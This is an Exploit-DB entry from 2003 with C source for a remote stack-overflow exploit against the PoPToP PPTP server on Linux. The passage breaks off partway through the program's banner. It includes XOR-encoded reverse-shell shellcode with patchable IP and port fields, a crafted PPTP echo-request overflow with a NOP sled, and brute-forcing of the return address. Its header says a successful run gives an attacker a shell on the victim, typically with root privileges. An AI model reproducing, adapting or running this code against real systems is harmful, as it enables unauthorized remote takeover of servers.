Exploit-DB #16
Description: PoPToP PPTP 1.1.4-b3 - Remote Command Execution
Type: remote
Platform: linux
Date: 2003-04-18
Author: einstein

Exploit:
/* 
*  exploit for a recently discovered vulnerability in PoPToP
*  PPTP server under Linux. Versions affected are all prior to
*  1.1.4-b3 and 1.1.3-20030409.
*  The exploit is capable of bruteforcing the RET address to find our
*  buffer in the stack. Upon a successfull run it brings up a reverse
*  shell with privileges of the pptpd daemon (typically root)
*  on the victim server.
*/

#include <iostream.h>
#include <winsock.h>
#include <stdio.h>

#define u_int8_t char
#define u_int16_t WORD
#define u_int32_t DWORD


char shellcode[] =

"\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b"
"\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a"
"\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d"

"\x01\x01" // port

"\x54\xd6\x63"

"\x01\x01\x01\x01" // ip address

"\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67"
"\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e"
"\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b"
"\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60"
"\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa"
"\xfd\xbc\xe0\xfb";




struct pptp_header {
        u_int16_t length;               /* pptp message length incl header */
        u_int16_t pptp_type;            /* pptp message type */
        u_int32_t magic;                /* magic cookie */
        u_int16_t ctrl_type;            /* control message type */
        u_int16_t reserved0;            /* reserved */
};

#define MAX_HOSTNAME_SIZE               64
#define MAX_VENDOR_SIZE                 64
#define PPTP_VERSION                    0x0100

struct pptp_start_ctrl_conn_rqst {
        struct pptp_header header;      /* pptp header */
        u_int16_t version;              /* pptp protocol version */
        u_int16_t reserved1;            /* reserved */
        u_int32_t framing_cap;          /* framing capabilities */
        u_int32_t bearer_cap;           /* bearer capabilities */
        u_int16_t max_channels;         /* maximum channels */
        u_int16_t firmware_rev;         /* firmware revision */
        u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */
        u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */
};

struct pptp_echo_rqst {
        struct pptp_header header;      /* header */
        u_int32_t identifier;           /* value to match rply with rqst */
                                char buf[10000];
};

struct pptp_reply {
        struct pptp_header header;      /* header */
                                char buf[10000];
};


/* Magic Cookie */
#define PPTP_MAGIC_COOKIE               0x1a2b3c4d

/* Message types */
#define PPTP_CTRL_MESSAGE               1

/* Control Connection Management */
#define START_CTRL_CONN_RQST            1
#define START_CTRL_CONN_RPLY            2
#define STOP_CTRL_CONN_RQST             3
#define STOP_CTRL_CONN_RPLY             4
#define ECHO_RQST                       5
#define ECHO_RPLY                       6

// brute force values
#define TOPOFSTACK 0xbfffffff
#define BOTTOMOFSTACK 0xbf000000
#define STEP 50

void send_init_request(SOCKET st)
{
        pptp_start_ctrl_conn_rqst request;
  request.header.magic = htonl(PPTP_MAGIC_COOKIE);
  request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
        request.header.ctrl_type = htons(START_CTRL_CONN_RQST);

  request.version = PPTP_VERSION;
        request.framing_cap = 0;
        request.bearer_cap = 0;
        request.max_channels = 1;
        request.firmware_rev = 0;
  strcpy(request.hostname,"hell");
        strcpy(request.vendor,"domain HELL");
  request.header.length = ntohs(sizeof(request));

        send(st,(char*)&request,sizeof(request),0);

}

void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)
{ 
  pptp_echo_rqst ping;
        ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
  ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
        ping.header.ctrl_type = htons(ECHO_RQST);
        ping.identifier = 111;

        ping.header.length = ntohs(1);
        
  
        strcpy(ping.buf,"");
        
        int buflen = 500;
        for (int i=0;i<buflen;i++)strcat(ping.buf,"\x90");      
        memcpy(ping.buf+364,(char*)&ret,4); 

        // patch shellcode
        // we have a shellcode xored by 0x93.. let's unxor it :)
        for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;

        *(unsigned short int*)(shellcode+43) = htons(port);
        
  *(unsigned long int*)(shellcode+48) = inet_addr(hostname);

        // we leave 100 bytes for NOPs
        memcpy(ping.buf+100,shellcode,sizeof(shellcode));
                
        send(st,(char*)&ping,sizeof(ping.header)+buflen,0);
 
}

SOCKET st;

int connect_server(char* hostname)
{
        st=socket(PF_INET,SOCK_STREAM,0);
        if (st==INVALID_SOCKET) return 0;

        sockaddr_in addr;

        addr.sin_family=AF_INET;
        addr.sin_port=0;
        addr.sin_addr.s_addr=0;
        bind(st, (LPSOCKADDR)&addr,sizeof(addr));
  
        
        addr.sin_family=AF_INET;
        addr.sin_port=htons(1723);
        addr.sin_addr.s_addr=inet_addr(hostname);
        printf("connecting... ");
        if (connect(st,(sockaddr*)&addr,sizeof(addr)) != 0)
        {
                printf("Connect error. GetLastError=%d\n",GetLastError());
                return 0;
        }
        return 1;
}

int main(int argc, char** argv)
{
        printf("\n");
        printf("                   D  H     H                            \n");
        printf("                   D  H     H     T\n");
        printf("                   D  H  H  H     T     EE    AA   M   M \n");
        printf("               DDD D  HHHHHHH     T    E  E  A  A  MM MM \n");
        printf("              D   DD  H  H  H    TTTT  E  E  A  A  MM MM \n");
        printf("             D     D